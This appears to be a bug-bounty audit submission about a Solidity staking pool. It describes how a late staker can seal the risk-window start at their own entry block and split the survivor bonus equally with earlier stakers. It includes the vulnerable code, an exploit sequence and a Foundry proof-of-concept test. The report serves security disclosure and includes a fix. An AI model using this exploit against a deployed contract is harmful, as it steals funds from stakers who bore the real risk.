FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Delayed risk-window observation lets late `UNDER_ATTACK` entrants steal survivor bonus

Author Revealed upon completion

Description

The protocol documents UNDER_ATTACK deposits as near-zero-reward late risk capital. The root cause is that a late entrant can be the first call that observes UNDER_ATTACK; stake() seals riskWindowStart at that entrant's block and resets the existing cohort's time weight, letting the entrant share bonus as if they had borne the missed interval.

Details

The docs make a strong safety claim about this branch. docs/DESIGN.md and protocol-readme.md both justify allowing deposits during UNDER_ATTACK on the basis that the late entrant's bonus share is "crushed to ~zero" and that there is no late-join advantage. The dedicated time-weighting suite encodes that same assumption in testEarlierStakerEarnsLargerBonusShareThanLaterStaker: when riskWindowStart is observed promptly, Alice's earlier at-risk time dominates Bob's late entry.

The real entry path does not preserve that property when the pool misses the beginning of the active-risk interval. stake() calls _observePoolState() before it records the caller's stake. If the registry is already UNDER_ATTACK and riskWindowStart == 0, _observePoolState() immediately calls _markRiskWindowStart(), which sets riskWindowStart = block.timestamp and rewrites the global accumulators so every existing staker is treated as if they only entered at that late block.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
_assertDepositsAllowed(_observePoolState());
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
...
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
...
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
}

The same stake() call then credits the late entrant at that exact same block.timestamp. Earlier stakers are later clamped to stake * riskWindowStart, so they lose all real active-risk time that elapsed before the observation. The newcomer therefore joins the exact same score cohort as the long-standing stakers even though the newcomer only arrived after the agreement had already been attackable for most of the real risk interval.

That is a real payout bug, not just an accepted timestamp residual. docs/DESIGN.md accepts that the terminal moment T is first-observed rather than the true transition block, and says that bias only redistributes bonus "among stakers." This branch is stronger: it lets a new entrant become a staker after most of the real active-risk interval has already elapsed, then inherit equal bonus weight with the earlier cohort because the missed interval is erased from riskWindowStart itself. If the agreement resolves terminally in that same block, _bonusShare falls back to a full amount-weighted split, making the late-join advantage even stronger.

uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}

The smallest permissionless exploit sequence is:

Alice stakes early and the sponsor funds a large bonus. The registry then becomes UNDER_ATTACK, but nobody calls pokeRiskWindow() or touches the pool during the first week of real attackability. Bob watches the live registry, waits until that missed week has already passed, then stakes during the still-live UNDER_ATTACK state. Bob's own stake() call becomes the first observation, so riskWindowStart is sealed at Bob's entry block and Alice's earlier week of real risk is discarded from the score. When the agreement later reaches PRODUCTION, Alice and Bob now have identical k=2 scores and split the whole bonus 50/50 even though Bob only joined after most of the real risk interval had already elapsed.

I validated that sequence locally with the temporary regression included below. It shows both branches:

  • with prompt pokeRiskWindow(), Alice receives essentially the entire bonus and Bob gets almost none, matching the design claim;

  • with delayed first observation, Bob gets the same 150 payout as Alice after joining a week late;

  • if terminal resolution happens in the same block as Bob's entry, the amount-weighted fallback also hands Bob a full half of the bonus.

The current suite never checks that invariant. test/unit/ConfidencePool.timeWeightedBonus.t.sol only covers the prompt-observation path where riskWindowStart was already sealed before Bob entered.

Risk

An ordinary attacker can wait until the agreement has already spent most of its real time in UNDER_ATTACK, become the first pool interaction that observes that state, and siphon an arbitrary fraction of snapshotTotalBonus away from the earlier stakers who actually bore that missing risk interval. The protocol pays the late entrant as if they had underwritten time they never actually bore.

Recommended mitigation steps

Do not allow a new UNDER_ATTACK stake to define riskWindowStart for the existing cohort; either anchor the start to an upstream transition timestamp or block staking when the live registry is already in UNDER_ATTACK but the pool has not yet sealed the window.

Proof of concept

I validated this locally with a temporary standalone Foundry test.

Run:

forge test --match-path test/TempLateUnderAttackSameBlockBonusTheft.t.sol

Use:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract TempLateUnderAttackSameBlockBonusTheftTest is BaseConfidencePoolTest {
function testLateUnderAttackEntrantInheritsEarlierUnobservedRiskTime() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
// The agreement is already UNDER_ATTACK, but the pool misses that entire first week.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(vm.getBlockTimestamp() + 7 days);
// Bob stakes only now. Because his own stake is the first observation, both Alice and
// Bob are normalized onto Bob's entry block.
_stake(bob, 100 * ONE);
uint256 start = pool.riskWindowStart();
assertEq(start, vm.getBlockTimestamp(), "late entrant seals the delayed start");
// The agreement remains attackable for another day before terminal resolution.
vm.warp(vm.getBlockTimestamp() + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 150 * ONE, "alice loses the first week of real risk");
assertEq(token.balanceOf(bob) - bobBefore, 150 * ONE, "bob inherits equal bonus weight after joining a week late");
}
function testLateUnderAttackEntrantGetsFullAmountWeightedBonusIfWindowAndTerminalSealSameBlock() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
// The agreement has already been attackable for days, but the pool never observed it.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(vm.getBlockTimestamp() + 7 days);
// Bob joins only now, at the moment his own stake first seals the window.
_stake(bob, 100 * ONE);
assertEq(pool.riskWindowStart(), vm.getBlockTimestamp(), "bob seals the window on entry");
// The agreement resolves terminally in the same block, so T == riskWindowStart and the
// bonus falls back to amount-weighted instead of crushing Bob's late entry.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 150 * ONE, "alice gets only half the bonus");
assertEq(token.balanceOf(bob) - bobBefore, 150 * ONE, "bob gets a full half despite joining at the end");
}
function testPromptObservationWouldHaveCrushedTheSameLateUnderAttackEntry() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
uint256 start = pool.riskWindowStart();
vm.warp(vm.getBlockTimestamp() + 7 days);
_stake(bob, 100 * ONE);
assertEq(pool.riskWindowStart(), start, "prompt poke preserves the real earlier start");
// With the real earlier start preserved, Bob's late entry is crushed as documented.
vm.warp(vm.getBlockTimestamp() + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
assertGt(token.balanceOf(alice) - aliceBefore, 199900000000000000000, "alice gets almost all the bonus");
assertLt(token.balanceOf(bob) - bobBefore, 100100000000000000000, "bob gets almost none of the bonus");
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!